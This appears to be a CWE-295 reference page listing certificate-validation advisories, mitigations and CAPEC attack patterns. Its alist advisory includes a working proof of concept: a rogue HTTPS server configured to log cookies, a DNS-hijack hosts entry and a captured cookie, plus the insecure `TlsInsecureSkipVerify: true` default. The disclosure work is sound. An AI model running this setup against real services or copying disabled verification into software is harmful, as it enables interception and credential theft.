CWE-295
AllowedImproper Certificate Validation
Abstraction: Base · Status: Draft
The product does not validate, or incorrectly validates, a certificate.
1913 vulnerabilities reference this CWE, most recent first.
GHSA-8JMM-3XWX-W974
Vulnerability from github – Published: 2026-02-04 18:41 – Updated: 2026-02-04 21:56Summary
The application disables TLS certificate verification by default for all outgoing storage driver communications, making the system vulnerable to Man-in-the-Middle (MitM) attacks. This enables the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.
Details
Certificate verification is disabled by default for all storage driver communications.
The TlsInsecureSkipVerify setting is default to true in the DefaultConfig() function in internal/conf/config.go.
func DefaultConfig() *Config {
// ...
TlsInsecureSkipVerify: true,
// ...
}
This vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings.
PoC
The /etc/hosts file was modified to simulate DNS hijacking and redirect www.weiyun.com to a malicious TLS-enabled HTTP server.
The purpose of this Proof of Concept is to demonstrate that the Alist server will establish communication with a malicious server due to disabled certificate verification. This allows interception and theft of authentication cookies used for communicating with other storage providers.
Setup a malicious https server:
ssl.conf:
LoadModule ssl_module modules/mod_ssl.so
LoadModule log_config_module modules/mod_log_config.so
Listen 443
LogFormat "%h %l %u %t \"%r\" %>s %b Host:%{Host}i User-Agent:%{User-Agent}i Referer:%{Referer}i Accept:%{Accept}i Cookie:%{Cookie}i" headers
CustomLog "/usr/local/apache2/logs/headers.log" headers
<VirtualHost _default_:443>
DocumentRoot "/usr/local/apache2/htdocs"
ServerName localhost
SSLEngine on
SSLCertificateFile "/usr/local/apache2/conf/server.crt"
SSLCertificateKeyFile "/usr/local/apache2/conf/server.key"
ErrorLog "/usr/local/apache2/logs/ssl_error.log"
<Directory "/usr/local/apache2/htdocs">
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
</VirtualHost>
Dockerfile:
FROM httpd:2.4
# Copy SSL config
COPY ssl.conf /usr/local/apache2/conf/extra/ssl.conf
# Include SSL config in main httpd.conf
RUN echo "Include conf/extra/ssl.conf" >> /usr/local/apache2/conf/httpd.conf
# Copy certs
COPY certs/server.crt /usr/local/apache2/conf/server.crt
COPY certs/server.key /usr/local/apache2/conf/server.key
Scripts to run https server:
mkdir certs
openssl req -x509 -nodes -days 365 \
-newkey rsa:2048 \
-keyout certs/server.key \
-out certs/server.crt
docker build -t httpd-ssl .
docker run -dit --name my-https-server httpd-ssl
Run alist
docker run -d --restart=unless-stopped -v /etc/alist:/opt/alist/data -p 5244:5244 -e PUID=0 -e PGID=0 -e UMASK=022 --name="alist" alist666/alist:latest
Simulate DNS hijacking: Modify container's /etc/hosts to redirect www.weiyun.com to malicious server
<IP of HTTPS Server> www.weiyun.com
In the front end, add a weiyun storage and inspect log on tls server:
root@f6d0f5bebe60:/usr/local/apache2# cat /usr/local/apache2/logs/headers.log
172.17.0.3 - - [30/Oct/2025:03:52:58 +0000] "GET /disk HTTP/1.1" 404 196 Host:www.weiyun.com User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Referer:- Accept:- Cookie:WhatEverSecret=
Note that the cookie is in the log.
Impact
This misconfiguration allows attackers to perform man in the middle attack, which potentially leads to the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.
This vulnerability affects all alist deployment.
Credit
This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine
If there are any questions regarding the vulnerability details, please feel free to reach out for further discussion at xlabai@tencent.com.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/alist-org/alist/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.57.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25160"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-04T18:41:26Z",
"nvd_published_at": "2026-02-04T20:16:06Z",
"severity": "CRITICAL"
},
"details": "### Summary\nThe application disables TLS certificate verification by default for all outgoing storage driver communications, making the system vulnerable to Man-in-the-Middle (MitM) attacks. This enables the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.\n\n### Details\nCertificate verification is disabled by default for all storage driver communications.\n\nThe `TlsInsecureSkipVerify` setting is default to true in the `DefaultConfig()` function in [internal/conf/config.go](https://github.com/AlistGo/alist/blob/b4d9beb49cba399842a54fcc33bc95a4a09b7bd4/internal/conf/config.go#L159).\n\n~~~go\nfunc DefaultConfig() *Config {\n // ...\n TlsInsecureSkipVerify: true,\n // ...\n}\n~~~\n\nThis vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings. \n\n\n\n#### PoC\nThe /etc/hosts file was modified to simulate DNS hijacking and redirect www.weiyun.com to a malicious TLS-enabled HTTP server.\n\nThe purpose of this Proof of Concept is to demonstrate that the Alist server will establish communication with a malicious server due to disabled certificate verification. This allows interception and theft of authentication cookies used for communicating with other storage providers.\n\n[Video](https://github.com/user-attachments/assets/5b042db0-d830-41d9-9cec-d2ba677ac53d)\n\n\n\n##### Setup a malicious https server:\n\nssl.conf:\n~~~\nLoadModule ssl_module modules/mod_ssl.so\nLoadModule log_config_module modules/mod_log_config.so\n\nListen 443\n\nLogFormat \"%h %l %u %t \\\"%r\\\" %\u003es %b Host:%{Host}i User-Agent:%{User-Agent}i Referer:%{Referer}i Accept:%{Accept}i Cookie:%{Cookie}i\" headers\nCustomLog \"/usr/local/apache2/logs/headers.log\" headers\n\n\u003cVirtualHost _default_:443\u003e\n DocumentRoot \"/usr/local/apache2/htdocs\"\n ServerName localhost\n\n SSLEngine on\n SSLCertificateFile \"/usr/local/apache2/conf/server.crt\"\n SSLCertificateKeyFile \"/usr/local/apache2/conf/server.key\"\n\n ErrorLog \"/usr/local/apache2/logs/ssl_error.log\"\n\n \u003cDirectory \"/usr/local/apache2/htdocs\"\u003e\n Options Indexes FollowSymLinks\n AllowOverride None\n Require all granted\n \u003c/Directory\u003e\n\u003c/VirtualHost\u003e\n~~~\n\nDockerfile:\n~~~\nFROM httpd:2.4\n\n# Copy SSL config\nCOPY ssl.conf /usr/local/apache2/conf/extra/ssl.conf\n\n# Include SSL config in main httpd.conf\nRUN echo \"Include conf/extra/ssl.conf\" \u003e\u003e /usr/local/apache2/conf/httpd.conf\n\n# Copy certs\nCOPY certs/server.crt /usr/local/apache2/conf/server.crt\nCOPY certs/server.key /usr/local/apache2/conf/server.key\n~~~\n\nScripts to run https server:\n\n~~~bash\nmkdir certs\nopenssl req -x509 -nodes -days 365 \\\n -newkey rsa:2048 \\\n -keyout certs/server.key \\\n -out certs/server.crt\ndocker build -t httpd-ssl .\ndocker run -dit --name my-https-server httpd-ssl\n~~~\n\n##### Run alist\n~~~bash\ndocker run -d --restart=unless-stopped -v /etc/alist:/opt/alist/data -p 5244:5244 -e PUID=0 -e PGID=0 -e UMASK=022 --name=\"alist\" alist666/alist:latest\n~~~\n\nSimulate DNS hijacking: Modify container\u0027s /etc/hosts to redirect www.weiyun.com to malicious server\n~~~\n\u003cIP of HTTPS Server\u003e www.weiyun.com\n~~~\n\nIn the front end, add a weiyun storage and inspect log on tls server:\n~~~\nroot@f6d0f5bebe60:/usr/local/apache2# cat /usr/local/apache2/logs/headers.log\n172.17.0.3 - - [30/Oct/2025:03:52:58 +0000] \"GET /disk HTTP/1.1\" 404 196 Host:www.weiyun.com User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Referer:- Accept:- Cookie:WhatEverSecret=\n~~~\n\nNote that the cookie is in the log.\n\n### Impact\nThis misconfiguration allows attackers to perform man in the middle attack, which potentially leads to the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.\n\nThis vulnerability affects all alist deployment.\n\n### Credit\nThis vulnerability was discovered by:\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nIf there are any questions regarding the vulnerability details, please feel free to reach out for further discussion at xlabai@tencent.com.",
"id": "GHSA-8jmm-3xwx-w974",
"modified": "2026-02-04T21:56:50Z",
"published": "2026-02-04T18:41:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/AlistGo/alist/security/advisories/GHSA-8jmm-3xwx-w974"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25160"
},
{
"type": "WEB",
"url": "https://github.com/AlistGo/alist/commit/69629ca76a8f2c8c973ede3b616f93aa26ff23fb"
},
{
"type": "PACKAGE",
"url": "https://github.com/AlistGo/alist"
},
{
"type": "WEB",
"url": "https://github.com/AlistGo/alist/releases/tag/v3.57.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Alist has Insecure TLS Config"
}
GHSA-8JQ4-569V-M5W2
Vulnerability from github – Published: 2022-05-14 02:57 – Updated: 2025-04-20 03:39The "First Citizens Bank-Mobile Banking" by First Citizens Bank (AL) app 3.0.0 -- aka first-citizens-bank-mobile-banking/id566037101 for iOS does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.
{
"affected": [],
"aliases": [
"CVE-2017-9577"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-16T12:29:00Z",
"severity": "MODERATE"
},
"details": "The \"First Citizens Bank-Mobile Banking\" by First Citizens Bank (AL) app 3.0.0 -- aka first-citizens-bank-mobile-banking/id566037101 for iOS does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.",
"id": "GHSA-8jq4-569v-m5w2",
"modified": "2025-04-20T03:39:12Z",
"published": "2022-05-14T02:57:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9577"
},
{
"type": "WEB",
"url": "https://medium.com/%40chronic_9612/advisory-44-credit-union-apps-for-ios-may-allow-login-credential-exposure-4d2f380b85c5"
},
{
"type": "WEB",
"url": "https://medium.com/@chronic_9612/advisory-44-credit-union-apps-for-ios-may-allow-login-credential-exposure-4d2f380b85c5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8M82-P7M3-CC92
Vulnerability from github – Published: 2022-05-24 17:32 – Updated: 2023-01-09 18:30A certificate validation issue existed when processing administrator added certificates. This issue was addressed with improved certificate validation. This issue is fixed in iOS 13.6 and iPadOS 13.6, macOS Catalina 10.15.6, tvOS 13.4.8, watchOS 6.2.8. An attacker may have been able to impersonate a trusted website using shared key material for an administrator added certificate.
{
"affected": [],
"aliases": [
"CVE-2020-9868"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-10-22T18:15:00Z",
"severity": "CRITICAL"
},
"details": "A certificate validation issue existed when processing administrator added certificates. This issue was addressed with improved certificate validation. This issue is fixed in iOS 13.6 and iPadOS 13.6, macOS Catalina 10.15.6, tvOS 13.4.8, watchOS 6.2.8. An attacker may have been able to impersonate a trusted website using shared key material for an administrator added certificate.",
"id": "GHSA-8m82-p7m3-cc92",
"modified": "2023-01-09T18:30:24Z",
"published": "2022-05-24T17:32:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9868"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT211288"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT211289"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT211290"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT211291"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8MJQ-6F3X-GXXR
Vulnerability from github – Published: 2025-11-11 21:30 – Updated: 2025-11-11 21:30A vulnerability has been identified in Solid Edge SE2025 (All versions < V225.0 Update 11). Affected applications do not properly validate client certificates to connect to License Service endpoint. This could allow an unauthenticated remote attacker to perform man in the middle attacks.
{
"affected": [],
"aliases": [
"CVE-2025-40744"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T21:15:37Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in Solid Edge SE2025 (All versions \u003c V225.0 Update 11). Affected applications do not properly validate client certificates to connect to License Service endpoint. This could allow an unauthenticated remote attacker to perform man in the middle attacks.",
"id": "GHSA-8mjq-6f3x-gxxr",
"modified": "2025-11-11T21:30:28Z",
"published": "2025-11-11T21:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40744"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-522291.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8MM2-M98W-C7QJ
Vulnerability from github – Published: 2022-05-13 01:33 – Updated: 2022-05-13 01:33IBM WebSphere MQ 8.0 and 9.0 could allow a remote attacker to obtain sensitive information, caused by the failure to properly validate the SSL certificate. An attacker could exploit this vulnerability to obtain sensitive information using man in the middle techniques. IBM X-Force ID: 142598.
{
"affected": [],
"aliases": [
"CVE-2018-1543"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-27T18:29:00Z",
"severity": "MODERATE"
},
"details": "IBM WebSphere MQ 8.0 and 9.0 could allow a remote attacker to obtain sensitive information, caused by the failure to properly validate the SSL certificate. An attacker could exploit this vulnerability to obtain sensitive information using man in the middle techniques. IBM X-Force ID: 142598.",
"id": "GHSA-8mm2-m98w-c7qj",
"modified": "2022-05-13T01:33:09Z",
"published": "2022-05-13T01:33:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1543"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/142598"
},
{
"type": "WEB",
"url": "http://www.ibm.com/support/docview.wss?uid=swg22016346"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8MX3-GP3P-VGG7
Vulnerability from github – Published: 2022-05-24 22:00 – Updated: 2023-07-14 21:20OSS Http Request (kevinsawicki/http-request) is missing SSL/TLS certificate validation. The impact is: certificate spoofing. The component is: use this library when https communication. The attack vector is: certificate spoofing.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.github.kevinsawicki:http-request"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-1010206"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": true,
"github_reviewed_at": "2022-11-03T23:47:08Z",
"nvd_published_at": "2019-07-23T14:15:00Z",
"severity": "MODERATE"
},
"details": "OSS Http Request (kevinsawicki/http-request) is missing SSL/TLS certificate validation. The impact is: certificate spoofing. The component is: use this library when https communication. The attack vector is: certificate spoofing.",
"id": "GHSA-8mx3-gp3p-vgg7",
"modified": "2023-07-14T21:20:28Z",
"published": "2022-05-24T22:00:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1010206"
},
{
"type": "WEB",
"url": "https://github.com/kevinsawicki/http-request/blob/master/lib/src/main/java/com/github/kevinsawicki/http/HttpRequest.java"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "kevinsawicki/http-request Missing certificate validation"
}
GHSA-8PH9-X262-CCHW
Vulnerability from github – Published: 2022-05-14 02:41 – Updated: 2025-04-09 04:00The _gnutls_x509_verify_certificate function in lib/x509/verify.c in libgnutls in GnuTLS before 2.6.1 trusts certificate chains in which the last certificate is an arbitrary trusted, self-signed certificate, which allows man-in-the-middle attackers to insert a spoofed certificate for any Distinguished Name (DN).
{
"affected": [],
"aliases": [
"CVE-2008-4989"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-11-13T01:00:00Z",
"severity": "MODERATE"
},
"details": "The _gnutls_x509_verify_certificate function in lib/x509/verify.c in libgnutls in GnuTLS before 2.6.1 trusts certificate chains in which the last certificate is an arbitrary trusted, self-signed certificate, which allows man-in-the-middle attackers to insert a spoofed certificate for any Distinguished Name (DN).",
"id": "GHSA-8ph9-x262-cchw",
"modified": "2025-04-09T04:00:34Z",
"published": "2022-05-14T02:41:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4989"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46482"
},
{
"type": "WEB",
"url": "https://issues.rpath.com/browse/RPL-2886"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11650"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/678-1"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2008-November/msg00222.html"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2008-November/msg00293.html"
},
{
"type": "WEB",
"url": "http://article.gmane.org/gmane.comp.encryption.gpg.gnutls.devel/3215"
},
{
"type": "WEB",
"url": "http://article.gmane.org/gmane.comp.encryption.gpg.gnutls.devel/3217"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2008-12/msg00002.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2009-04/msg00010.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32619"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32681"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32687"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32879"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/33501"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/33694"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35423"
},
{
"type": "WEB",
"url": "http://security.gentoo.org/glsa/glsa-200901-10.xml"
},
{
"type": "WEB",
"url": "http://sunsolve.sun.com/search/document.do?assetkey=1-26-260528-1"
},
{
"type": "WEB",
"url": "http://wiki.rpath.com/Advisories:rPSA-2008-0322"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2009/dsa-1719"
},
{
"type": "WEB",
"url": "http://www.gnu.org/software/gnutls/security.html"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2008:227"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2008-0982.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/498431/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32232"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1021167"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/usn-678-2"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/3086"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/1567"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8PP4-FRH8-35PX
Vulnerability from github – Published: 2023-05-30 18:30 – Updated: 2024-04-04 04:23Dell NetWorker, contains an Improper Validation of Certificate with Host Mismatch vulnerability in Rabbitmq port which could disallow replacing CA signed certificates.
{
"affected": [],
"aliases": [
"CVE-2023-24568"
],
"database_specific": {
"cwe_ids": [
"CWE-295",
"CWE-297"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-30T16:15:09Z",
"severity": "MODERATE"
},
"details": "\nDell NetWorker, contains an Improper Validation of Certificate with Host Mismatch vulnerability in Rabbitmq port which could disallow replacing CA signed certificates.\n\n",
"id": "GHSA-8pp4-frh8-35px",
"modified": "2024-04-04T04:23:24Z",
"published": "2023-05-30T18:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24568"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000210963/dsa-2023-059-dell-networker-security-update-for-a-rabbitmq-vulnerability-related-to-improper-validation-of-hostname-in-rabbitmq-startup-script-which-fails-to-replace-ca-signed-certificates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8Q68-CX9M-QG2R
Vulnerability from github – Published: 2022-05-17 02:45 – Updated: 2025-04-20 03:37The Emirates NBD Bank P.J.S.C Emirates NBD KSA app 3.10.0 through 3.10.4 (UAE) and 2.0.1 through 2.1.0 (KSA) for iOS does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.
{
"affected": [],
"aliases": [
"CVE-2017-5915"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-05-05T07:29:00Z",
"severity": "MODERATE"
},
"details": "The Emirates NBD Bank P.J.S.C Emirates NBD KSA app 3.10.0 through 3.10.4 (UAE) and 2.0.1 through 2.1.0 (KSA) for iOS does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.",
"id": "GHSA-8q68-cx9m-qg2r",
"modified": "2025-04-20T03:37:14Z",
"published": "2022-05-17T02:45:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5915"
},
{
"type": "WEB",
"url": "https://medium.com/%40chronic_9612/follow-up-76-popular-apps-confirmed-vulnerable-to-silent-interception-of-tls-protected-data-64185035029f"
},
{
"type": "WEB",
"url": "https://medium.com/@chronic_9612/follow-up-76-popular-apps-confirmed-vulnerable-to-silent-interception-of-tls-protected-data-64185035029f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8R3G-V2XV-XX88
Vulnerability from github – Published: 2022-05-13 01:27 – Updated: 2022-05-13 01:27Google Chrome before 18.0.1025.142 does not properly check X.509 certificates before use of a SPDY proxy, which might allow man-in-the-middle attackers to spoof servers or obtain sensitive information via a crafted certificate.
{
"affected": [],
"aliases": [
"CVE-2011-3061"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-03-30T22:55:00Z",
"severity": "MODERATE"
},
"details": "Google Chrome before 18.0.1025.142 does not properly check X.509 certificates before use of a SPDY proxy, which might allow man-in-the-middle attackers to spoof servers or obtain sensitive information via a crafted certificate.",
"id": "GHSA-8r3g-v2xv-xx88",
"modified": "2022-05-13T01:27:21Z",
"published": "2022-05-13T01:27:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-3061"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/74411"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14849"
},
{
"type": "WEB",
"url": "http://code.google.com/p/chromium/issues/detail?id=116398"
},
{
"type": "WEB",
"url": "http://googlechromereleases.blogspot.com/2012/03/stable-channel-release-and-beta-channel.html"
},
{
"type": "WEB",
"url": "http://osvdb.org/80739"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48618"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48691"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48763"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/52762"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1026877"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.
Mitigation
If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.
CAPEC-459: Creating a Rogue Certification Authority Certificate
An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.